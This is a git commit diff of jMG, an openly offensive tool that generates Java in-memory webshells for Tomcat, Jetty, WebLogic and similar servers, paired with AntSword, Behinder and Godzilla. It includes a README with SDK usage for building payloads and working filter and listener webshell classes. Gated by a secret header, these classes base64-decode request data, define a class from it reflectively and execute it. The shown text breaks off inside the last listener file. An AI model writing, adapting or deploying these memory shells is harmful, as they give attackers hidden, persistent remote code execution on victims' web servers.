Author SHA1 Message Date
pen4uin 146d04cf12 add: 添加对 Tomcat Valve 的支持 2024-09-14 14:40:05 +08:00
pen4uin 182108956e update: 优化 bypassJDKModuleCheckBox 2024-08-25 19:07:40 +08:00
pen4uin 35367e7d06 add: 添加对 Jakarta Servlet 的支持(SpringBoot 3.x/Tomcat 10.x) 2024-08-25 18:55:49 +08:00
pen4uin 4d43d247c1 add: 支持绕过高版本 JDK Module 访问限制进行注入(可选) 2024-08-25 17:29:15 +08:00
pen4uin 5898ae1ecd fix: fix README typo 2024-08-25 12:01:08 +08:00
pen4uin cdc889c9ec update: README 2024-08-25 08:09:01 +08:00
pen4uin 42db539c75 add: 添加 jmg-all 模块(All In One) 2024-08-25 08:05:00 +08:00
pen4uin eb32f32c1b add: 添加对命令行的支持 2024-08-25 08:04:02 +08:00
pen4uin 5a2b4e62ad update: 优化 pom.xml 2024-08-25 08:02:48 +08:00
pen4uin 0b13cd1528 update: jmg-gui GUIApp 2024-08-25 08:02:07 +08:00
pen4uin 6d14555b94 add: 添加对 Maven SDK 的支持 2024-08-24 14:52:05 +08:00
pen4uin e2ad182bcf update: 其他 2024-08-24 14:49:41 +08:00
pen4uin d5c7b731ab add: 添加对 woodpecker-framework 插件的支持 2024-08-24 00:52:35 +08:00
pen4uin ac9c608699 update: 其他 2024-08-24 00:46:36 +08:00
pen4uin 916d12982f update: 优化异常处理 2024-08-24 00:45:45 +08:00
pen4uin e5994d4813 update: 优化 Generator 异常处理 2024-08-24 00:40:41 +08:00
pen4uin 5e4cc68000 add: 扩展模块(探测中间件/序列化封装) 2024-08-23 23:47:24 +08:00
pen4uin 315dcad8b4 update: 多模块版本字段 revision -> project.build.version 2024-08-23 23:45:25 +08:00
pen4uin 70c7b7013d 修复 snakeyaml loadJar 漏洞利用封装 bug(thx @Ch1ngg) 2024-07-23 23:03:41 +08:00
pen4uin ce1be0dda9 maven 依赖 jexpr-encoder-utils 需手动下载 2024-07-23 22:59:40 +08:00
pen4uin fd69732a77 更新文档 2024-07-20 15:16:19 +08:00
pen4uin b0a8540395 更新文档链接 2024-07-20 15:12:45 +08:00
pen4uin 65d4ca65ba 迁移文档到 repo 2024-07-20 15:12:10 +08:00
pen4uin 6e667fb9ac 优化 java agent 马参数选项,贴合实战场景(命令执行无回显) 2024-07-20 14:58:28 +08:00
pen4uin b422a60ee1 修复 agent + jdk11 base64 解码的 bug (thx @mosen) 2024-07-20 14:06:08 +08:00
pen4uin 3f33658d86 清空缓冲区,防止后续处理流程中 response 被覆盖导致连接失败 2024-07-05 21:40:57 +08:00
pen4uin b6e34b31e2 61快乐 2024-06-01 12:20:17 +08:00
pen4uin 1e4291e965 release jMG v1.0.8 2024-04-12 09:04:32 +08:00
207 changed files with 18186 additions and 127 deletions
+113 -27
View File
@@ -1,38 +1,124 @@
# Java Memshell Generator
<h4 align="right"><strong><a href="jmg-docs/README_EN.md">English</a></strong> | 中文 </h4>
<p align="center">
<h1 align="center">Java Memshell Generator</h1>
<div align="center">
<img alt="GitHub watchers" src="https://img.shields.io/github/watchers/pen4uin/java-memshell-generator?style=flat-square">
<img alt="GitHub forks" src="https://img.shields.io/github/forks/pen4uin/java-memshell-generator?style=flat-square">
<img alt="GitLab Stars" src="https://img.shields.io/github/stars/pen4uin/java-memshell-generator.svg?style=flat-square">
</div>
<div align="center">一款支持高度自定义的 Java 内存马生成工具</div>
</p>
## 0x01 Introduce
<img src="./jmg-docs/img/gui.png" width="900px" />
**jMG (Java Memshell Generator)** 是一款支持高度自定义的 Java 内存马生成工具,提供常见中间件的内存马注入支持。
<br>
主要功能如下:
- 支持的中间件和框架 (Tomcat/Resin/Jetty/WebLogic/WebSphere/Undertow/GlassFish/SpringMVC/SpringWebFlux)
- 支持的工具 (AntSword/Behinder/Godzilla/Suo5)
- 支持的内存马类型 (Filter/Listener/Interceptor/HandlerMethod)
- 支持的输出格式 (BASE64/BCEL/CLASS/JS/JSP/JAR/BIGINTEGER)
- 支持的辅助模块 (专项漏洞封装/表达式语句封装)
> [!WARNING]
> 本工具仅供安全研究和学习使用。使用者需自行承担因使用此工具产生的所有法律及相关责任。请确保你的行为符合当地的法律和规定。作者不承担任何责任。如不接受,请勿使用此工具。
> 此工具仅限于安全研究和教学,用户承担因使用此工具而导致的所有法律和相关责任! 作者不承担任何法律和相关责任!
<br>
## 功能
## 0x02 Usage
| 中间件 | 框架 | 工具 (测试版本) | 内存马类型 | 输出格式 | 辅助模块 |
|-----------|---------------|------------------------------------------------------------------|---------------|------------|---------|
| Tomcat | SpringMVC | [AntSword](https://github.com/AntSwordProject/antSword) (2.1.15) | Listener | BASE64 | 专项漏洞封装 |
| Resin | SpringWebFlux | [Behinder](https://github.com/rebeyond/Behinder) (4.0.7) | Filter | BCEL | 表达式语句封装 |
| WebLogic | | [Godzilla](https://github.com/BeichenDream/Godzilla) (4.0.1) | Interceptor | BIGINTEGER | |
| Jetty | | [Neo-reGeorg](https://github.com/L-codes/Neo-reGeorg) (5.1.0) | HandlerMethod | CLASS | |
| WebSphere | | [Suo5](https://github.com/zema1/suo5) (0.9.0) | TomcatValve | JAR | |
| Undertow | | Custom | | JAR_AGENT | |
| GlassFish | | | | JS | |
| | | | | JSP | |
下载 jMG-GUI.jar 运行即可
## 编译
![](./img/gui.png)
maven (v3.9.3)
## 0x03 Reference
使用手册
- [jMG v1.0.4](https://mp.weixin.qq.com/s/oAiGWY9ABhn2o148snA_sg)
- [jMG v1.0.5](https://mp.weixin.qq.com/s/QjoRs_J5jVANrdEiiTtVtA)
- [jMG v1.0.6](https://mp.weixin.qq.com/s/0ZzH35aRUPelq8nwilMQiA)
参考项目
```shell
mvn package assembly:single
```
https://github.com/woodpecker-appstore/jexpr-encoder-utils
https://github.com/feihong-cs/memShell
https://github.com/su18/MemoryShell
https://github.com/BeichenDream/GodzillaMemoryShellProject
https://github.com/whwlsfb/cve-2022-22947-godzilla-memshell
## 使用
**图形化**
```shell
java -jar ./releases/jmg-gui-1.0.8.jar
```
**命令行**
```shell
java -jar ./releases/jmg-cli-1.0.8.jar
```
**Woodpecker 插件**
将 jmg-woodpecker-1.0.8.jar 添加到 woodpecker 插件目录
**第三方库 (Maven)**
1.将 jmg-sdk-1.0.8.jar 安装到本地 maven 仓库
```shell
mvn install:install-file -Dfile=./releases/jmg-sdk-1.0.8.jar -DgroupId=jmg -DartifactId=jmg-sdk -Dversion=1.0.8 -Dpackaging=jar
```
2.添加为依赖
```xml
<dependency>
<groupId>jmg</groupId>
<artifactId>jmg-sdk</artifactId>
<version>1.0.8</version>
</dependency>
```
3.示例
```
// 基础配置
AbstractConfig config = new AbstractConfig() {{
// 设置工具类型
setToolType(Constants.TOOL_GODZILLA);
// 设置中间件 or 框架
setServerType(Constants.SERVER_TOMCAT);
// 设置内存马类型
setShellType(Constants.SHELL_LISTENER);
// 设置输出格式为 BASE64
setOutputFormat(Constants.FORMAT_BASE64);
// 设置漏洞利用封装,默认不启用
setGadgetType(Constants.GADGET_NONE);
// 初始化基础配置
build();
}};
jMGenerator generator = new jMGenerator(config);
generator.genPayload();
generator.printPayload();
// 连接信息
SDKResultUtil.printBasicInfo(config);
SDKResultUtil.printDebugInfo(config);
```
## 文档
- [jMG v1.0.8](./jmg-docs/1.0.8/)
- [jMG v1.0.6](./jmg-docs/1.0.6/)
- [jMG v1.0.5](./jmg-docs/1.0.5/)
- [jMG v1.0.4](./jmg-docs/1.0.4/)
## 致谢
- https://github.com/c0ny1
- https://github.com/whwlsfb
- https://github.com/feihong-cs/memShell
- https://github.com/su18/MemoryShell
- https://github.com/BeichenDream/GodzillaMemoryShellProject
## 协议
- MIT
BIN
View File
Binary file not shown.

Before

Width:  |  Height:  |  Size: 47 KiB

-100
View File
@@ -1,100 +0,0 @@
<?xml version="1.0" encoding="utf-8"?>
<!-- Generator: Adobe Illustrator 22.0.0, SVG Export Plug-In . SVG Version: 6.00 Build 0) -->
<svg version="1.1" id="图层_1" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" x="0px" y="0px"
viewBox="0 0 612 233.9" style="enable-background:new 0 0 612 233.9;" xml:space="preserve">
<style type="text/css">
.st0{fill:#144495;}
.st1{filter:url(#Adobe_OpacityMaskFilter);}
.st2{fill:url(#SVGID_2_);}
.st3{mask:url(#SVGID_1_);fill:#144495;}
</style>
<g>
<g>
<g>
<path class="st0" d="M184.2,125.1c4.5-10.8,7.5-23.3,8.6-37.3h-27.3v5.2h21c-0.9,9.6-2.8,17.6-5.7,25.4l-10.4-20.1l-5.1,2.3
l12.7,24.8c-3.9,8.6-9,16.4-14.9,23.3l4.5,3.4c5.1-6.2,9.8-13,13.5-20.5l7.5,14.4l5.2-2.4L184.2,125.1z"/>
<path class="st0" d="M203.8,90.8c0-1.7,1.9-3,3.8-3h22.5c1.9,0,3.3,1.3,3.3,3v39.7h6.1V90.8c0-4.7-4.4-8.2-9.4-8.2h-22.5
c-5,0-9,3.6-9,8.2v39.7h5.2V90.8z"/>
<path class="st0" d="M266,113.1h44.1c10.5,0,10.5-4.9,10.5-10.3V91.9c0-5.5,0-10.2-10.5-10.2H266c-10.8,0-10.8,4.8-10.8,10.2
v10.8C255.3,108.2,255.3,113.1,266,113.1z M261.4,91.9c0-2.6-0.1-5,4.7-5h44.1c5.3,0,5.3,2.4,5.3,5v2.9h-54.1V91.9z M261.4,100
h54.1v2.7c0,2.5-0.1,4.2-5.3,4.2H266c-4.7,0-4.7-1.7-4.7-4.2V100z"/>
<path class="st0" d="M291,148.9v-8.7h29.6v-5.2H291v-8.7h29.6V121H291v-6.1h-5.2v6.1h-24.1l1.5-5.4l-5.7-1.3l-3.4,11.9h31.7v8.7
h-31.4v5.2h31.4v8.7h-55.1c-2.7,0-5.1-2-5.1-4.6v-18.9h-5.7c0.7-3.5,1.3-6.9,1.3-11.2V95.7h-6.1v18.5c0,21-10.5,29.7-25.2,34.9
l2,5.1c13.9-5,24.9-12.5,27.6-28.6v18.6c0,5.5,5.3,9.9,11.2,9.9H325v-5.2H291z"/>
</g>
<path class="st0" d="M385.2,99.2v2.1c0,9.8-1.4,20.6-4.5,26.7h30.7v5.2h-24.6l25.8,16.2l-3.3,4.6l-32.2-20
c-8.1,10.4-21.8,15.9-41.3,19.8l-1.2-5.4c15.9-3.2,27.6-7.4,35-15.2h-34.1v-5.2h38.4c3.8-6.1,6.1-16.5,6.1-26.7v-2.1H385.2z
M376.5,81.7V87h23.9c5.9,0,11,4.1,11,9.5v3.5h-6.1v-3.5c0-2.5-2.1-4.3-4.9-4.3h-53c-2.8,0-5,1.8-5,4.3v3.5h-6.1v-3.5
c0-5.5,5.2-9.5,11.1-9.5h23.8v-5.2H376.5z M339,106.1h27.9v5.2H339V106.1z M339,116.6h27.9v6.1H339V116.6z"/>
<g>
<path class="st0" d="M441.2,114.9h-13.9l1.7-22.7l-5.8-0.3l-2,28.3h20c1.9,0,3.3,1.5,3.3,3.2v22.2c0,1.7-1.4,3.3-3.3,3.3h-10.6
v5.2h10.6c5.1,0,9.4-3.9,9.4-8.5v-22.2C450.6,118.7,446.2,114.9,441.2,114.9z"/>
<path class="st0" d="M457.6,108.8h33.9l1.7,3.7l5.4-2.2l-8.9-20.5c-2.1-4.6-5.4-7.2-11.1-7.2h-8.1c-5.8,0-9,2.5-11.1,7.2
l-8.9,20.6l5.3,2.2L457.6,108.8z M464.8,92.4c1-2.5,2.7-3.7,5.7-3.7h8.1c2.8,0,4.6,1.4,5.7,3.7l4.9,11.2h-29.3L464.8,92.4z"/>
<path class="st0" d="M443.6,90.3v22.8h6.1V90.3c0-4.7-4.4-8.5-9.6-8.5h-17.5V87h17.5C442,87,443.6,88.5,443.6,90.3z"/>
<rect x="420.1" y="132.3" class="st0" width="21.8" height="5.2"/>
<polygon class="st0" points="458.1,144.6 464,144 460.6,114.6 454.8,115.2 "/>
<path class="st0" d="M483.5,143.4l5.6,1.7c3.3-8.6,5.7-18.4,7-30l-5.8-0.6C489.1,125.9,486.7,135.3,483.5,143.4z"/>
<polygon class="st0" points="473.8,144.6 479.6,144 476.3,114.6 470.5,115.2 "/>
<path class="st0" d="M573,87h-24.8v-5.2h-6.1V87h-25.3c-5.9,0-10.4,4.7-10.4,10.1v3h5.2v-3c0-2.5,2.5-4.9,5.2-4.9H573
c2.7,0,4.9,2.4,4.9,4.9v3h6.1v-3C584,91.6,579,87,573,87z"/>
<path class="st0" d="M548.3,139.3h32.3V134h-32.3v-8.7h20.6c3.8,0,6.2-0.9,7.1-3.3c0.6-1.5-0.3-4.5-0.3-4.5l-2.6-8.7h-5.2
l2.2,8.3c0.2,0.4,0.3,0.9,0.2,1.4c-0.2,1.2-0.9,1.6-2.5,1.6h-45.3c-0.8,0-1.4-0.8-1.2-1.6l2.3-9.8h56.2v-5.2h-69.8v5.2h7.6
l-2.6,10.8c-0.7,2.9,1.5,5.8,4.5,5.8h22.7v8.7h-32.3v5.2h32.3v9.6h-35.7h-54.1v5.2h54.1h76.7v-5.2h-34.9V139.3z"/>
</g>
</g>
<path class="st0" d="M106.2,148.4c-30.3,0-54.9-24.6-54.9-54.9c0-16.4,7.2-31.2,18.6-41.2C50,60.5,36.1,80.1,36.1,103
c0,30.3,24.6,54.9,54.9,54.9c13.9,0,26.6-5.2,36.3-13.7C120.8,146.9,113.7,148.4,106.2,148.4z"/>
<defs>
<filter id="Adobe_OpacityMaskFilter" filterUnits="userSpaceOnUse" x="65.4" y="151.5" width="32.8" height="20.1">
<feFlood style="flood-color:white;flood-opacity:1" result="back"/>
<feBlend in="SourceGraphic" in2="back" mode="normal"/>
</filter>
</defs>
<mask maskUnits="userSpaceOnUse" x="65.4" y="151.5" width="32.8" height="20.1" id="SVGID_1_">
<g class="st1">
<linearGradient id="SVGID_2_" gradientUnits="userSpaceOnUse" x1="78.4262" y1="157.0465" x2="78.4262" y2="174.4841">
<stop offset="0" style="stop-color:#FFFFFF"/>
<stop offset="0.6266" style="stop-color:#000000"/>
</linearGradient>
<rect x="54.7" y="153.5" class="st2" width="47.5" height="26.4"/>
</g>
</mask>
<path class="st3" d="M70.5,156c-4,3.8-5.7,9.2-4.9,14.3c0.7-3,2.3-5.8,4.7-8.1c6.6-6.3,16.9-6,23.2,0.5c2.4,2.5,3.9,5.7,4.3,8.9
c1.2-5.2-0.1-10.9-4.1-15C87.4,150,77,149.8,70.5,156z"/>
<circle class="st0" cx="101" cy="87.7" r="4.3"/>
<circle class="st0" cx="139.8" cy="99.1" r="2.3"/>
<circle class="st0" cx="110.2" cy="104.8" r="2.3"/>
<circle class="st0" cx="117" cy="109.7" r="1.7"/>
<circle class="st0" cx="96.9" cy="75.9" r="1.7"/>
<circle class="st0" cx="119.3" cy="91.9" r="8.3"/>
<circle class="st0" cx="77.9" cy="80.1" r="6.4"/>
<circle class="st0" cx="128" cy="71.3" r="4.6"/>
<circle class="st0" cx="98.4" cy="64.9" r="5.6"/>
<circle class="st0" cx="128" cy="116.6" r="4.6"/>
<circle class="st0" cx="90" cy="108.6" r="6.7"/>
<circle class="st0" cx="107.1" cy="120.4" r="3.7"/>
<rect x="107.7" y="61.3" transform="matrix(0.7905 -0.6124 0.6124 0.7905 -25.2021 83.0611)" class="st0" width="2.3" height="34.1"/>
<rect x="108.8" y="80.4" transform="matrix(0.2234 -0.9747 0.9747 0.2234 -1.9557 177.0957)" class="st0" width="2.7" height="18.7"/>
<rect x="112.5" y="80.3" transform="matrix(0.3918 -0.9201 0.9201 0.3918 0.1236 163.3955)" class="st0" width="22.3" height="2.7"/>
<rect x="122.3" y="91.1" transform="matrix(0.9427 -0.3336 0.3336 0.9427 -27.6821 47.216)" class="st0" width="2.7" height="26.2"/>
<rect x="123.4" y="107.1" transform="matrix(0.5591 -0.8291 0.8291 0.5591 -30.3576 158.5684)" class="st0" width="21.1" height="1.5"/>
<rect x="106.9" y="117.7" transform="matrix(0.9839 -0.1787 0.1787 0.9839 -19.2791 22.9183)" class="st0" width="21.2" height="1.5"/>
<rect x="83.7" y="97" transform="matrix(0.4665 -0.8845 0.8845 0.4665 -35.8407 136.8488)" class="st0" width="23.6" height="2.3"/>
<rect x="88.1" y="71.7" transform="matrix(0.3116 -0.9502 0.9502 0.3116 -18.1309 142.744)" class="st0" width="2.7" height="24.4"/>
<rect x="89.8" y="106.1" transform="matrix(0.9826 -0.1856 0.1856 0.9826 -18.0609 20.428)" class="st0" width="20.5" height="1.1"/>
<rect x="113.2" y="103" transform="matrix(0.5708 -0.8211 0.8211 0.5708 -39.2419 139.2606)" class="st0" width="0.8" height="8.3"/>
<rect x="91.7" y="69.8" transform="matrix(0.1133 -0.9936 0.9936 0.1133 16.7537 159.089)" class="st0" width="11.6" height="0.8"/>
</g>
</svg>

Before

Width:  |  Height:  |  Size: 6.6 KiB

+76
View File
@@ -0,0 +1,76 @@
<?xml version="1.0" encoding="UTF-8"?>
<project xmlns="http://maven.apache.org/POM/4.0.0"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd">
<modelVersion>4.0.0</modelVersion>
<parent>
<groupId>jmg</groupId>
<artifactId>java-memshell-generator</artifactId>
<version>1.0.8</version>
</parent>
<artifactId>jmg-all</artifactId>
<properties>
<maven.compiler.source>8</maven.compiler.source>
<maven.compiler.target>8</maven.compiler.target>
<project.build.sourceEncoding>UTF-8</project.build.sourceEncoding>
</properties>
<dependencies>
<dependency>
<groupId>jmg</groupId>
<artifactId>jmg-woodpecker</artifactId>
<version>${parent.version}</version>
<scope>compile</scope>
</dependency>
<dependency>
<groupId>jmg</groupId>
<artifactId>jmg-sdk</artifactId>
<version>${parent.version}</version>
<scope>compile</scope>
</dependency>
<dependency>
<groupId>jmg</groupId>
<artifactId>jmg-cli</artifactId>
<version>${parent.version}</version>
<scope>compile</scope>
</dependency>
<dependency>
<groupId>jmg</groupId>
<artifactId>jmg-gui</artifactId>
<version>${parent.version}</version>
<scope>compile</scope>
</dependency>
</dependencies>
<build>
<plugins>
<plugin>
<groupId>org.apache.maven.plugins</groupId>
<artifactId>maven-assembly-plugin</artifactId>
<version>3.6.0</version>
<configuration>
<descriptorRefs>
<descriptorRef>jar-with-dependencies</descriptorRef>
</descriptorRefs>
<archive>
<manifest>
<mainClass>jmg.all.jMGApp</mainClass>
</manifest>
</archive>
<appendAssemblyId>false</appendAssemblyId>
<outputDirectory>../releases</outputDirectory>
</configuration>
<executions>
<execution>
<id>make-assembly</id>
<phase>package</phase>
<goals>
<goal>single</goal>
</goals>
</execution>
</executions>
</plugin>
</plugins>
</build>
</project>
+26
View File
@@ -0,0 +1,26 @@
package jmg.all;
import jmg.core.config.Constants;
public class jMGApp {
public static void main(String[] args) throws Throwable {
if (args.length < 1) {
System.out.println("jmg usage:");
System.out.printf("1. java -jar jmg-all-%s.jar cli%n", Constants.JMG_VERSION);
System.out.printf("2. java -jar jmg-all-%s.jar gui%n", Constants.JMG_VERSION);
return;
}
switch (args[0]) {
case "gui":
jmg.gui.GUIApp.main(args);
break;
case "cli":
jmg.cli.CLIApp.main(args);
break;
default:
System.out.println("Invalid command. Please use either 'cli' or 'gui'.");
break;
}
}
}
+20
View File
@@ -0,0 +1,20 @@
<project xmlns="http://maven.apache.org/POM/4.0.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/maven-v4_0_0.xsd">
<modelVersion>4.0.0</modelVersion>
<parent>
<groupId>jmg</groupId>
<artifactId>java-memshell-generator</artifactId>
<version>1.0.8</version>
</parent>
<artifactId>jmg-antsword</artifactId>
<dependencies>
<dependency>
<groupId>${parent.groupId}</groupId>
<artifactId>jmg-core</artifactId>
<version>${parent.version}</version>
<scope>compile</scope>
</dependency>
</dependencies>
</project>
@@ -0,0 +1,62 @@
package jmg.antsword.generator;
import javassist.ClassClassPath;
import javassist.CtClass;
import jmg.core.config.AbstractConfig;
import jmg.core.config.Constants;
import jmg.core.generator.IShellGenerator;
import jmg.antsword.util.ShellUtil;
import jmg.core.util.CommonUtil;
import jmg.core.util.JavassistUtil;
import jmg.core.util.ResponseUtil;
public class AntSwordGenerator implements IShellGenerator {
@Override
public void initShell(AbstractConfig config) {
if (config.getPass() == null) config.setPass(CommonUtil.genRandomLengthString(6));
}
@Override
public byte[] makeShell(AbstractConfig config) throws Exception {
initShell(config);
String shellName = ShellUtil.getShellName(config.getToolType(), config.getShellType());
String shellClassName = ShellUtil.getShellClassName(shellName);
byte[] bytes = modifyShell(shellClassName, config);
config.setShellBytes(bytes);
config.setShellBytesLength(bytes.length);
config.setShellGzipBase64String(CommonUtil.encodeBase64(CommonUtil.gzipCompress(bytes)));
return bytes;
}
@Override
public byte[] modifyShell(String className, AbstractConfig config) {
byte[] bytes = new byte[0];
try {
pool.insertClassPath(new ClassClassPath(AntSwordGenerator.class));
CtClass ctClass = pool.getCtClass(className);
ctClass.getClassFile().setVersionToJava5();
JavassistUtil.addFieldIfNotNull(ctClass, "pass", config.getPass());
JavassistUtil.addFieldIfNotNull(ctClass, "headerName", config.getHeaderName());
JavassistUtil.addFieldIfNotNull(ctClass, "headerValue", config.getHeaderValue());
JavassistUtil.setNameIfNotNull(ctClass, config.getShellClassName());
if (config.getShellType().equals(Constants.SHELL_LISTENER)) {
String methodBody = ResponseUtil.getMethodBody(config.getServerType());
JavassistUtil.addMethod(ctClass, "getResponseFromRequest", methodBody);
}
if (config.getShellType().equals(Constants.SHELL_JAKARTA_LISTENER)) {
String methodBody = ResponseUtil.getMethodBody(config.getServerType());
methodBody = methodBody.replace("javax.servlet.", "jakarta.servlet.");
JavassistUtil.addMethod(ctClass, "getResponseFromRequest", methodBody);
}
JavassistUtil.removeSourceFileAttribute(ctClass);
bytes = ctClass.toBytecode();
ctClass.detach();
} catch (Exception e) {
e.printStackTrace();
throw new RuntimeException(e);
}
return bytes;
}
}
@@ -0,0 +1,57 @@
package jmg.antsword.memshell;
import javax.servlet.*;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.IOException;
import java.lang.reflect.Method;
import java.net.URL;
import java.net.URLClassLoader;
public class AntSwordFilter implements Filter {
public String pass;
public String headerName;
public String headerValue;
public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
HttpServletRequest request = (HttpServletRequest) servletRequest;
HttpServletResponse response = (HttpServletResponse) servletResponse;
try {
if (request.getHeader(this.headerName) != null && request.getHeader(this.headerName).contains(this.headerValue)) {
String cls = request.getParameter(pass);
if (cls != null) {
try {
byte[] data = doBase64Decode(cls);
URLClassLoader classLoader = new URLClassLoader(new URL[0], Thread.currentThread().getContextClassLoader());
Method method = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, Integer.TYPE, Integer.TYPE);
method.setAccessible(true);
Class clazz = (Class) method.invoke(classLoader, data, new Integer(0), new Integer(data.length));
clazz.newInstance().equals(new Object[]{request, response});
} catch (Exception var7) {
}
}
} else {
filterChain.doFilter(servletRequest, servletResponse);
}
} catch (Exception e) {
filterChain.doFilter(servletRequest, servletResponse);
}
}
public byte[] doBase64Decode(String str) throws Exception {
try {
Class clazz = Class.forName("sun.misc.BASE64Decoder");
return (byte[]) ((byte[]) ((byte[]) clazz.getMethod("decodeBuffer", String.class).invoke(clazz.newInstance(), str)));
} catch (Exception var5) {
Class clazz = Class.forName("java.util.Base64");
Object decoder = clazz.getMethod("getDecoder").invoke((Object) null);
return (byte[]) ((byte[]) ((byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, str)));
}
}
public void init(FilterConfig filterConfig) throws ServletException {
}
public void destroy() {
}
}
@@ -0,0 +1,57 @@
package jmg.antsword.memshell;
import jakarta.servlet.*;
import jakarta.servlet.http.HttpServletRequest;
import jakarta.servlet.http.HttpServletResponse;
import java.io.IOException;
import java.lang.reflect.Method;
import java.net.URL;
import java.net.URLClassLoader;
public class AntSwordJakartaFilter implements Filter {
public String pass;
public String headerName;
public String headerValue;
public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
HttpServletRequest request = (HttpServletRequest) servletRequest;
HttpServletResponse response = (HttpServletResponse) servletResponse;
try {
if (request.getHeader(this.headerName) != null && request.getHeader(this.headerName).contains(this.headerValue)) {
String cls = request.getParameter(pass);
if (cls != null) {
try {
byte[] data = doBase64Decode(cls);
URLClassLoader classLoader = new URLClassLoader(new URL[0], Thread.currentThread().getContextClassLoader());
Method method = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, Integer.TYPE, Integer.TYPE);
method.setAccessible(true);
Class clazz = (Class) method.invoke(classLoader, data, new Integer(0), new Integer(data.length));
clazz.newInstance().equals(new Object[]{request, response});
} catch (Exception var7) {
}
}
} else {
filterChain.doFilter(servletRequest, servletResponse);
}
} catch (Exception e) {
filterChain.doFilter(servletRequest, servletResponse);
}
}
public byte[] doBase64Decode(String str) throws Exception {
try {
Class clazz = Class.forName("sun.misc.BASE64Decoder");
return (byte[]) ((byte[]) ((byte[]) clazz.getMethod("decodeBuffer", String.class).invoke(clazz.newInstance(), str)));
} catch (Exception var5) {
Class clazz = Class.forName("java.util.Base64");
Object decoder = clazz.getMethod("getDecoder").invoke((Object) null);
return (byte[]) ((byte[]) ((byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, str)));
}
}
public void init(FilterConfig filterConfig) throws ServletException {
}
public void destroy() {
}
}
@@ -0,0 +1,80 @@
package jmg.antsword.memshell;
import jakarta.servlet.ServletRequestEvent;
import jakarta.servlet.ServletRequestListener;
import jakarta.servlet.http.HttpServletRequest;
import jakarta.servlet.http.HttpServletResponse;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
import java.net.URL;
import java.net.URLClassLoader;
public class AntSwordJakartaListener implements ServletRequestListener {
public String pass;
public String headerName;
public String headerValue;
public void requestDestroyed(ServletRequestEvent servletRequestEvent) {
}
public void requestInitialized(ServletRequestEvent servletRequestEvent) {
HttpServletRequest request = (HttpServletRequest) servletRequestEvent.getServletRequest();
try {
HttpServletResponse response = getResponseFromRequest(request);
if (request.getHeader(this.headerName) != null && request.getHeader(this.headerName).contains(this.headerValue)) {
String cls = request.getParameter(pass);
if (cls != null) {
try {
byte[] data = base64Decode(cls);
URLClassLoader classLoader = new URLClassLoader(new URL[0], Thread.currentThread().getContextClassLoader());
Method method = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, Integer.TYPE, Integer.TYPE);
method.setAccessible(true);
Class clazz = (Class) method.invoke(classLoader, data, new Integer(0), new Integer(data.length));
clazz.newInstance().equals(new Object[]{request, response});
response.flushBuffer();
} catch (Exception var7) {
}
}
}
} catch (Exception ignored) {
}
}
private HttpServletResponse getResponseFromRequest(HttpServletRequest var1) throws Exception {
return null;
}
private static synchronized Object getFV(Object var0, String var1) throws Exception {
Field var2 = null;
Class var3 = var0.getClass();
while (var3 != Object.class) {
try {
var2 = var3.getDeclaredField(var1);
break;
} catch (NoSuchFieldException var5) {
var3 = var3.getSuperclass();
}
}
if (var2 == null) {
throw new NoSuchFieldException(var1);
} else {
var2.setAccessible(true);
return var2.get(var0);
}
}
public byte[] base64Decode(String str) throws Exception {
try {
Class clazz = Class.forName("sun.misc.BASE64Decoder");
return (byte[]) ((byte[]) clazz.getMethod("decodeBuffer", String.class).invoke(clazz.newInstance(), str));
} catch (Exception var5) {
Class clazz = Class.forName("java.util.Base64");
Object decoder = clazz.getMethod("getDecoder").invoke((Object) null);
return (byte[]) ((byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, str));
}
}
}
@@ -0,0 +1,80 @@
package jmg.antsword.memshell;
import javax.servlet.ServletRequestEvent;
import javax.servlet.ServletRequestListener;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
import java.net.URL;
import java.net.URLClassLoader;
public class AntSwordListener implements ServletRequestListener {
public String pass;
public String headerName;
public String headerValue;
public void requestDestroyed(ServletRequestEvent servletRequestEvent) {
}
public void requestInitialized(ServletRequestEvent servletRequestEvent) {
HttpServletRequest request = (HttpServletRequest) servletRequestEvent.getServletRequest();
try {
HttpServletResponse response = getResponseFromRequest(request);
if (request.getHeader(this.headerName) != null && request.getHeader(this.headerName).contains(this.headerValue)) {
String cls = request.getParameter(pass);
if (cls != null) {
try {
byte[] data = base64Decode(cls);
URLClassLoader classLoader = new URLClassLoader(new URL[0], Thread.currentThread().getContextClassLoader());
Method method = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, Integer.TYPE, Integer.TYPE);
method.setAccessible(true);
Class clazz = (Class) method.invoke(classLoader, data, new Integer(0), new Integer(data.length));
clazz.newInstance().equals(new Object[]{request, response});
response.flushBuffer();
} catch (Exception var7) {
}
}
}
} catch (Exception ignored) {
}
}
private HttpServletResponse getResponseFromRequest(HttpServletRequest var1) throws Exception {
return null;
}
private static synchronized Object getFV(Object var0, String var1) throws Exception {
Field var2 = null;
Class var3 = var0.getClass();
while (var3 != Object.class) {
try {
var2 = var3.getDeclaredField(var1);
break;
} catch (NoSuchFieldException var5) {
var3 = var3.getSuperclass();
}
}
if (var2 == null) {
throw new NoSuchFieldException(var1);
} else {
var2.setAccessible(true);
return var2.get(var0);
}
}
public byte[] base64Decode(String str) throws Exception {
try {
Class clazz = Class.forName("sun.misc.BASE64Decoder");
return (byte[]) ((byte[]) clazz.getMethod("decodeBuffer", String.class).invoke(clazz.newInstance(), str));
} catch (Exception var5) {
Class clazz = Class.forName("java.util.Base64");
Object decoder = clazz.getMethod("getDecoder").invoke((Object) null);
